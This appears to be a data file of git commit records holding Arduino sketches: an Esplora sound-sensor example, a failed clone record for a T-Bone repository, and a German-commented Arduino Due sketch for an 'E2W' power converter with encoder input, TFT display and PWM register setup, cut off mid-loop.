koltegirish\/Arduino,stevemayhew\/Arduino,kidswong999\/Arduino,shannonshsu\/Arduino,fungxu\/Arduino,paulo-raca\/ESP8266-Arduino,noahchense\/Arduino-1,toddtreece\/esp8266-Arduino,garci66\/Arduino,superboonie\/Arduino,gurbrinder\/Arduino,NeuralSpaz\/Arduino,andrealmeidadomingues\/Arduino,NeuralSpaz\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,rodibot\/Arduino,fungxu\/Arduino,ogahara\/Arduino,wayoda\/Arduino,arduino-org\/Arduino,championswimmer\/Arduino,damellis\/Arduino,eggfly\/arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,adamkh\/Arduino,nandojve\/Arduino,paulmand3l\/Arduino,tomkrus007\/Arduino,vbextreme\/Arduino,UDOOboard\/Arduino,tbowmo\/Arduino,myrtleTree33\/Arduino,noahchense\/Arduino-1,ms-iot\/Arduino,spapadim\/Arduino,spapadim\/Arduino,gestrem\/Arduino,henningpohl\/Arduino,UDOOboard\/Arduino,smily77\/Arduino,OpenDevice\/Arduino,KlaasDeNys\/Arduino,ashwin713\/Arduino,majenkotech\/Arduino,NeuralSpaz\/Arduino,wdoganowski\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,paulmand3l\/Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino-org,ektor5\/Arduino,paulmand3l\/Arduino,lulufei\/Arduino,jaej-dev\/Arduino,superboonie\/Arduino,eggfly\/arduino,rcook\/DesignLab,leftbrainstrain\/Arduino-ESP8266,plinioseniore\/Arduino,vbextreme\/Arduino,ccoenen\/Arduino,byran\/Arduino,noahchense\/Arduino-1,scdls\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,superboonie\/Arduino,eddyst\/Arduino-SourceCode,tomkrus007\/Arduino,ikbelkirasan\/Arduino,shiitakeo\/Arduino,PaintYourDragon\/Arduino,gestrem\/Arduino,linino\/Arduino,andrealmeidadomingues\/Arduino,wilhelmryan\/Arduino,jaehong\/Xmegaduino,raimohanska\/Arduino,HCastano\/Arduino,henningpohl\/Arduino,ogferreiro\/Arduino,me-no-dev\/Arduino-1,HCastano\/Arduino,tannewt\/Arduino,Chris--A\/Arduino,ssvs111\/Arduino,piersoft\/esp8266-Arduino,xxxajk\/Arduino-1,raimohanska\/Arduino,eggfly\/arduino,Ramoonus\/Arduino,danielchalef\/Arduino,toddtreece\/esp8266-Arduino,arduino-org\/Arduino,bsmr-arduino\/Arduino,championswimmer\/Arduino,aichi\/Arduino-2,tannewt\/Arduino,eduardocasarin\/Arduino,snargledorf\/Arduino,myrtleTree33\/Arduino,myrtleTree33\/Arduino,majenkotech\/Arduino,probonopd\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ogferreiro\/Arduino,me-no-dev\/Arduino-1,ssvs111\/Arduino,weera00\/Arduino,mboufos\/esp8266-Arduino,byran\/Arduino,benwolfe\/esp8266-Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,gberl001\/Arduino,shiitakeo\/Arduino,spapadim\/Arduino,PaoloP74\/Arduino,adafruit\/ESP8266-Arduino,andrealmeidadomingues\/Arduino,Orthogonal-Systems\/arduino-libs,tomkrus007\/Arduino,scdls\/Arduino,cscenter\/Arduino,wilhelmryan\/Arduino,bigjosh\/Arduino,stevemayhew\/Arduino,ogahara\/Arduino,mattvenn\/Arduino,bigjosh\/Arduino,UDOOboard\/Arduino,byran\/Arduino,radut\/Arduino,bigjosh\/Arduino,mboufos\/esp8266-Arduino,ricklon\/Arduino,linino\/Arduino,odbol\/Arduino,arunkuttiyara\/Arduino,NaSymbol\/Arduino,PaoloP74\/Arduino,piersoft\/esp8266-Arduino,danielchalef\/Arduino,linino\/Arduino,bigjosh\/Arduino,onovy\/Arduino,lukeWal\/Arduino,Chris--A\/Arduino,danielchalef\/Arduino,ashwin713\/Arduino,nkolban\/Arduino,tommyli2014\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,mangelajo\/Arduino,arduino-org\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,Chris--A\/Arduino,jmgonzalez00449\/Arduino,jmgonzalez00449\/Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,drpjk\/Arduino,gberl001\/Arduino,arunkuttiyara\/Arduino,sanyaade-iot\/Arduino-1,gonium\/Arduino,jamesrob4\/Arduino,eggfly\/arduino,stevemayhew\/Arduino,ricklon\/Arduino,ms-iot\/Arduino,henningpohl\/Arduino,paulmand3l\/Arduino,HCastano\/Arduino,zenmanenergy\/Arduino,talhaburak\/Arduino,Cloudino\/Cloudino-Arduino-IDE,byran\/Arduino,superboonie\/Arduino,PeterVH\/Arduino,tommyli2014\/Arduino,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,steamboating\/Arduino,shannonshsu\/Arduino,Chris--A\/Arduino,onovy\/Arduino,leftbrainstrain\/Arduino-ESP8266,vbextreme\/Arduino,tbowmo\/Arduino,stickbreaker\/Arduino,eeijcea\/Arduino-1,wayoda\/Arduino,xxxajk\/Arduino-1,jaej-dev\/Arduino,eduardocasarin\/Arduino,EmuxEvans\/Arduino,cscenter\/Arduino,stickbreaker\/Arduino,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,pdNor\/Arduino,onovy\/Arduino,HCastano\/Arduino,niggor\/Arduino_cc,ssvs111\/Arduino,tomkrus007\/Arduino,eggfly\/arduino,ThoughtWorksIoTGurgaon\/Arduino,KlaasDeNys\/Arduino,Protoneer\/Arduino,kidswong999\/Arduino,Ramoonus\/Arduino,majenkotech\/Arduino,championswimmer\/Arduino,fungxu\/Arduino,01org\/Arduino,niggor\/Arduino_cc,jamesrob4\/Arduino,me-no-dev\/Arduino-1,damellis\/Arduino,ntruchsess\/Arduino-1,tannewt\/Arduino,ccoenen\/Arduino,gberl001\/Arduino,karlitxo\/Arduino,Ramoonus\/Arduino,zenmanenergy\/Arduino,ricklon\/Arduino,SmartArduino\/Arduino-1,HCastano\/Arduino,snargledorf\/Arduino,ccoenen\/Arduino,ricklon\/Arduino,weera00\/Arduino,onovy\/Arduino,paulo-raca\/ESP8266-Arduino,radut\/Arduino,gurbrinder\/Arduino,odbol\/Arduino,damellis\/Arduino,danielchalef\/Arduino,Ramoonus\/Arduino,stevemarple\/Arduino-org,lukeWal\/Arduino,eddyst\/Arduino-SourceCode,Gourav2906\/Arduino,acosinwork\/Arduino,Cloudino\/Arduino,lulufei\/Arduino,bigjosh\/Arduino,PaintYourDragon\/Arduino,HCastano\/Arduino,scdls\/Arduino,ogahara\/Arduino,wilhelmryan\/Arduino,shannonshsu\/Arduino,wdoganowski\/Arduino,jaehong\/Xmegaduino,mattvenn\/Arduino,spapadim\/Arduino,bigjosh\/Arduino,zederson\/Arduino","old_file":"libraries\/Esplora\/examples\/Beginners\/EsploraSoundSensor\/EsploraSoundSensor.ino","new_file":"libraries\/Esplora\/examples\/Beginners\/EsploraSoundSensor\/EsploraSoundSensor.ino","new_contents":"\/*\n Esplora Sound Sensor\n \n This sketch shows you how to read the microphone sensor. The microphone\nwill range from 0 (total silence) to 1023 (really loud). \n When you're using the sensor's reading (for example, to set the brightness\n of the LED), you map the sensor's reading to a range between the minimum\n and the maximum.\n \n Created on 22 Dec 2012\n by Tom Igoe\n \n This example is in the public domain.\n *\/\n\n#include <Esplora.h>\n\nvoid setup() {\n \/\/ initialize the serial communication:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ read the sensor into a variable:\n int loudness = Esplora.readMicrophone();\n\n \/\/ map the sound level to a brightness level for the LED:\n int brightness = map(loudness, 0, 1023, 0, 255);\n \/\/ write the brightness to the green LED: \n Esplora.writeGreen(brightness);\n \n \n \/\/ print the microphone levels and the LED levels (to see what's going on):\n Serial.print(\"sound level: \");\n Serial.print(loudness);\n Serial.print(\" Green brightness: \");\n Serial.println(brightness);\n \/\/ add a delay to keep the LED from flickering:\n delay(10); \n}\n\n","old_contents":"\/*\n Esplora Led calibration\n \n This sketch shows you how to read the microphone sensor. The microphone\nwill range from 0 (total silence) to 1023 (really loud). \n When you're using the sensor's reading (for example, to set the brightness\n of the LED), you map the sensor's reading to a range between the minimum\n and the maximum.\n \n Created on 22 Dec 2012\n by Tom Igoe\n \n This example is in the public domain.\n *\/\n\n#include <Esplora.h>\n\nvoid setup() {\n \/\/ initialize the serial communication:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ read the sensor into a variable:\n int loudness = Esplora.readMicrophone();\n\n \/\/ map the sound level to a brightness level for the LED:\n int brightness = map(loudness, 0, 1023, 0, 255);\n \/\/ write the brightness to the green LED: \n Esplora.writeGreen(brightness);\n \n \n \/\/ print the microphone levels and the LED levels (to see what's going on):\n Serial.print(\"sound level: \");\n Serial.print(loudness);\n Serial.print(\" Green brightness: \");\n Serial.println(brightness);\n \/\/ add a delay to keep the LED from flickering:\n delay(10); \n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9cd9afe9c2765c2e154b267a249ddffa08ff79a8","subject":"ok and this kinda works again \u2026 starting point for next","message":"ok and this kinda works again \u2026 starting point for next\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"b52ebbfa687802f1ef0cedd4462a34980a125e5d","subject":"Jetzt kann man den E2W \u00fcber serielle (USB) fernsteuern","message":"Jetzt kann man den E2W \u00fcber serielle (USB) fernsteuern","repos":"fink-electronics\/E2W","old_file":"E2W_0.66.ino","new_file":"E2W_0.66.ino","new_contents":"\n#define VERSION 66 \/\/ Version*100\n\n\/*************************************\n * E2W RevA \n *************************************\n * notwendige Umbauma\u00dfnahmen:\n * Kapazit\u00e4t auf 3,3V 100\u00b5F\n * Kapazit\u00e4t auf Arduino-Reset 10\u00b5F\n * MISO und MOSI wieder richtig herum gedreht.\n * Strommessung I1 gedreht (+ u. - Eing\u00e4nge vertauscht) zur Regelbereichserweiterung.\n * \n * \n * 65: endlich konsequent mit mA, mV und mW in den Variablen. nicht cA, cV und cW, nur in den knobs nicht ganz\n * 66: Die steuerung \u00fcber die Serielle Schnittstelle ist drin\n *\/\n#include <SPI.h>\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_HX8357.h\"\n\n\/\/ These are 'flexible' lines that can be changed\n#define TFT_CS 41\n#define TFT_DC 42\n#define TFT_RST 43 \/\/ RST can be set to -1 if you tie it to Arduino's reset\n\n\/\/ Use hardware SPI (on Uno, #13, #12, #11) and the above for CS\/DC\nAdafruit_HX8357 tft = Adafruit_HX8357(TFT_CS, TFT_DC, TFT_RST);\n\n\n\/\/ Size of the color selection boxes and the paintbrush size\n#define BOXSIZE 160\n#define PENRADIUS 5\nint oldcolor, currentcolor;\n\nint lastP1; \nint lastP2; \nint lastI1; \/\/zur Darstellung und L\u00f6schung des Stromwertes von Port1\nint lastAI1;\nint lastU1; \/\/zur Darstellung und L\u00f6schung des Spannungswertes von Port1\nint lastI2; \/\/zur Darstellung und L\u00f6schung des Stromwertes von Port1\nint lastAI2;\nint lastU2; \/\/zur Darstellung und L\u00f6schung des Spannungswertes von Port1\nint lastReportedPosE1 = 0;\nint lastReportedPosE2 = 0;\nint lastReportedPosE5 = 0;\nint lastReportedPosE6 = 0;\nint lastReportedPosE7 = 0;\n\n\/\/######################################################################################################\n#include <Encoder.h>\n\n\/\/ Change these pin numbers to the pins connected to your encoder.\n\/\/ Best Performance: both pins have interrupt capability\n\/\/ Good Performance: only the first pin has interrupt capability\n\/\/ Low Performance: neither pin has interrupt capability\n\n \/\/der Construktor der Encoder.h Datei wurde in \"void init\" ge\u00e4ndert\n \/\/jetzt muss in der setup() funktion noch die init Methode jedes Objektes aufgerufen werden. \n \/\/damit das Opjekt aber global ist muss es vor der setup() schon erschaffen werden......\n\n\/\/ja bl\u00f6d aber so gehts. Ich vermute es liegt daran, da\u00df INPUT_PULLUP erst zu setup()-Zeiten definiert wird.\n\/\/Deshalb macht die Encoder.h Bibliothek keine Pullups obwohl sie sollte.\n\n\n\/\/jetzt werden nur mehr die Objekte erzeugt und sp\u00e4ter in setup() initialisiert.\nEncoder knobLeft;\nEncoder knobRight;\nEncoder knobLeftMitte;\nEncoder knobRightMitte;\nEncoder knobUnten;\n\n\n#define BUTTON_KNOP1 49\n#define BUTTON_KNOP2 47\n#define BUTTON_KNOP5 23\n#define BUTTON_KNOP6 31\n#define BUTTON_KNOP7 35\n\/\/ avoid using pins with LEDs attached\n\/\/######################################################################################################\n\/\/TAster\n\n#define RUN_TASTER 30\n#define RUN_LED 29\n#define RUN_LED_GND 28\n\nvolatile unsigned long timestampRunTaste = 0;\nvolatile boolean runState = false;\nvolatile boolean lastRunTaste = HIGH;\n\n#define TASTER4 27\n#define LED4 26\n#define LED4_GND 24\n\nvolatile unsigned long timestampTaste4 = 0;\nvolatile boolean taste4State = false;\nvolatile boolean lastTaste4 = HIGH;\n\n#define ENTPRELLMILLIS 300\n\n\/\/######################################################################################################\n\n\n\n\n\/\/E2W-Analog IN\/OUT (ADC und PWM)\n\/\/annkinntonn\n\n#define ADC_I1 A10 \/\/AusgangsStrom Port1\n#define ADC_U1 A9 \/\/AusgangsSpannung Port1\n#define ADC_U2 A0 \/\/AusgangsSpannung Port2\n#define ADC_I2 A1 \/\/AusgangsStrom Port2\n#define ADC_2V5Ref A7 \/\/Referenzspannungsmessung zu Autokalibrierzwecken\n#define ADC_IREF A2\n#define ADC_NTC1 A6\n#define ADC_NTC2 A5\n\n#define PWM_I2_SOLL 7 \/\/Stellwert 0..3V3 mit PWM\n#define GEMESSENE_2V5_REFERENZ 2499 \/\/mV-Messung (h\u00e4ndisch) der Refernzspannung\n\n\n#define MaxPWMCount 6000\nint NullpunktPWM = MaxPWMCount\/2;\n\n\/\/''''''''''''''''''''''''''''''''''''''braucht man auch noch global:\n\n#define DCDCENTRI 52\n\n#define DISABLE_U2MIN 4\n#define DISABLE_U1MIN 3\n \n \nint ReglerErkennung = 0;\n#define RE_U2max 53\n#define RE_U2min 12\n#define RE_U1max CANRX\n#define RE_U1min CANTX\n\n\/\/######################################################################################################\nint statemachineCounter;\n\n\/\/Filter\nlong iirI1 = 0;\nlong iirAI1 = 0;\nlong iirU1 = 0;\nlong iirI2 = 0;\nlong iirAI2 = 0;\nlong iirU2 = 0;\nlong iirIref = 0;\nlong iir2V5ref = 0;\n\nint lastNTC1;\nint lastNTC2;\n\n\/\/f\u00fcr das Fernsteuern \u00fcber die serielle\nString inputString = \"\"; \/\/ a string to hold incoming data\nString valueString = \"\"; \/\/ zum Einlesen eines Zahlenwertes\nboolean stringComplete = false; \/\/ whether the string is complete\nboolean nachTrennzeichen = false; \/\/gibt an ob schon ein Leerzeichen im String vorkommt\n\n\n\/\/######################################################################################################\nvoid setup() {\n \n \n \/\/ e1 = new DrehEncoderKlasse(50, 51, 49, 199);\nknobRight.init(39, 37);\nknobLeft.init(51, 50); \nknobLeftMitte.init(48, 46);\nknobRightMitte.init(33, 32);\nknobUnten.init(25, 22);\n\n pinMode(BUTTON_KNOP1, INPUT_PULLUP);\n pinMode(BUTTON_KNOP2, INPUT_PULLUP);\n pinMode(BUTTON_KNOP5, INPUT_PULLUP);\n pinMode(BUTTON_KNOP6, INPUT_PULLUP);\n pinMode(BUTTON_KNOP7, INPUT_PULLUP);\n \/\/pinMode(34, INPUT_PULLUP);\n \/\/pinMode(35, INPUT_PULLUP);\n\npinMode(RUN_TASTER, INPUT_PULLUP);\n pinMode(RUN_LED, OUTPUT);\n pinMode(RUN_LED_GND, OUTPUT);\n digitalWrite(RUN_LED_GND, LOW);\npinMode(TASTER4, INPUT_PULLUP);\n pinMode(LED4, OUTPUT);\n pinMode(LED4_GND, OUTPUT);\n digitalWrite(LED4_GND, LOW);\n\n pinMode(RE_U2max, INPUT_PULLUP);\n pinMode(RE_U2min, INPUT_PULLUP);\n pinMode(RE_U1max, INPUT_PULLUP);\n pinMode(RE_U1min, INPUT_PULLUP);\n\npinMode(DISABLE_U2MIN, OUTPUT);\npinMode(DISABLE_U1MIN, OUTPUT);\n\n \/\/Analog InOut\n analogWriteResolution(12);\n analogReadResolution(12);\n\n lastI1 = 0;\n lastAI1 = 0;\n lastI2 = 0;\n lastAI2 = 0;\n lastU1 = 0;\n lastP1 = 0;\n lastP2 = 0;\n\n \n \n statemachineCounter = 0;\n\n\n\/\/Pin 7 wird echter PWM-Pin Achtung Pin 7 und 6 sind bei Arduino gegen\u00fcber dem normalen SAM3X-Namen vertauscht !!!!!!\nint32_t mask_PWM_pin = digitalPinToBitMask(7);\nREG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \nREG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR6 = 0<<9; \/\/ select clock and polarity for PWM channel PWML6 (pin7) -> (CPOL = 0)\nREG_PWM_CPRD6 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY6 = 1515; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<6; \/\/ enable PWM on PWM channel (pin 7 = PWML6)\n\n\/\/Pin 6 wird echter PWM-Pin \nmask_PWM_pin = digitalPinToBitMask(6);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR7 = 0<<9; \/\/ select clock and polarity for PWM channel PWML7 (pin6) -> (CPOL = 0)\nREG_PWM_CPRD7 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY7 = 1515; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<7; \/\/ enable PWM on PWM channel (pin 6 = PWML7)\n\n\n\/\/Pin 40 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(40);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR3 = 0<<9; \/\/ select clock and polarity for PWM channel PWML2 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD3 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY3 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<3; \/\/ enable PWM on PWM channel (pin 40 = PWML3)\n\n\/\/Pin 38 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(38);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR2 = 0<<9; \/\/ select clock and polarity for PWM channel PWML2 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD2 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY2 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<2; \/\/ enable PWM on PWM channel (pin 6 = PWML7)\n\n\/\/Pin 36 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(36);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR1 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD1 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY1 = 0; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<1; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\/\/Pin 9 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(9);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR4 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD4 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY4 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<4; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\/\/Pin 8 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(8);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR5 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD5 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY5 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<5; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\n tft.begin(HX8357D);\n tft.fillScreen(HX8357_BLACK);\n Serial.begin(115200); \/\/ output\n \/\/Serial.println(INPUT_PULLUP);\n inputString.reserve(200);\n valueString.reserve(20);\n Serial.println(\"****** Energy 2 Work ******\");\n promt();\n presetAnnKinnTonn();\n}\n\/\/######################################################################################################\n\n\/\/ main loop, work is done by interrupt service routines, this one only prints stuff\nvoid loop() { \n int p1,p2,i1,u1,u2,i2,iref,u2V5Ref;\n long uADC;\n int x; \/\/Offset f\u00fcr tft.print zum rechts zentrieren\n int encoder1Val, encoder2Val, encoder5Val, encoder6Val, encoder7Val;\n int color = 0x4111; \/\/0x0111 dunkelblau\n \n encoder1Val = knobLeft.read()>>2; \/\/Begrenzung der Einstellung auf 60V und 0V\n if (encoder1Val > 600) { \n encoder1Val = 600;\n knobLeft.write(600<<2);\n }\n if (encoder1Val < 0) {\n encoder1Val = 0;\n knobLeft.write(0);\n }\n if (lastReportedPosE1 != encoder1Val) {\n\n color = 0x4111;\n if (digitalRead(RE_U1max) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + 10, 3, color, lastReportedPosE1*100, encoder1Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + 24);\n tft.print(\"max\"); \n \n \/\/Serial.print(\"Encoder 1: \");Serial.println(encoder1Val, DEC);\n lastReportedPosE1 = encoder1Val;\n }\n\n encoder2Val = knobLeftMitte.read()>>2;\n if (encoder2Val > encoder1Val) {\n encoder2Val = encoder1Val;\n knobLeftMitte.write(encoder1Val<<2);\n }\n if (encoder2Val < 0) {\n encoder2Val = 0;\n knobLeftMitte.write(0);\n }\n if (encoder2Val == 0) {\n digitalWrite(DISABLE_U1MIN, HIGH);\n }\n else {\n digitalWrite(DISABLE_U1MIN, LOW);\n }\n if (lastReportedPosE2 != encoder2Val) {\n color = 0x4111;\n if (digitalRead(RE_U1min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE2*100, encoder2Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n \n \/\/ Serial.print(\"Encoder 2: \"); Serial.println(encoder2Val, DEC);\n lastReportedPosE2 = encoder2Val;\n }\n\n encoder7Val = knobRight.read()>>2;\n if (encoder7Val > 600) { \n encoder7Val = 600;\n knobRight.write(600<<2);\n }\n if (encoder7Val < 0) {\n encoder7Val = 0;\n knobRight.write(0);\n }\n if (lastReportedPosE7 != encoder7Val) {\n color = 0x4111;\n if (digitalRead(RE_U2max) == 0) color = HX8357_YELLOW; \n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + 10, 3, color, lastReportedPosE7*100, encoder7Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + 24);\n tft.print(\"max\");\n \n \/\/Serial.print(\"Encoder 7: \"); Serial.println(encoder7Val, DEC);\n lastReportedPosE7 = encoder7Val;\n }\n\n encoder6Val = knobRightMitte.read()>>2;\n if (encoder6Val > encoder7Val) {\n encoder6Val = encoder7Val;\n knobRightMitte.write(encoder6Val<<2);\n }\n if (encoder6Val < 0) {\n encoder6Val = 0;\n knobRightMitte.write(0);\n }\n if (encoder6Val == 0) {\n digitalWrite(DISABLE_U2MIN, HIGH);\n }\n else {\n digitalWrite(DISABLE_U2MIN, LOW);\n }\n \n if (lastReportedPosE6 != encoder6Val) {\n color = 0x4111;\n if (digitalRead(RE_U2min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE6*100, encoder6Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n\n \n \/\/Serial.print(\"Encoder 6: \"); Serial.println(encoder6Val, DEC);\n lastReportedPosE6 = encoder6Val;\n }\n\n encoder5Val = knobUnten.read()>>2;\n if (encoder5Val > 1500) { \n encoder5Val = 1500;\n knobUnten.write(1500<<2);\n }\n if (encoder5Val < -1500) {\n encoder5Val = -1500;\n knobUnten.write(-1500*4);\n }\n if (lastReportedPosE5 != encoder5Val) {\n color = 0x4111;\n if (digitalRead(RE_U2min) == 1 && digitalRead(RE_U2max) == 1 && digitalRead(RE_U1min) == 1 && digitalRead(RE_U1max) == 1) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, 3*BOXSIZE-31, 3, color, lastReportedPosE5*10, encoder5Val*10, 4, \"A\");\n \/\/ tft.print(\"A\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE*3-31+14);\n tft.print(\"soll\");\n \n \/\/Serial.print(\"Encoder 5: \"); Serial.println(encoder5Val, DEC);\n lastReportedPosE5 = encoder5Val;\n }\n \n\n\n \n if 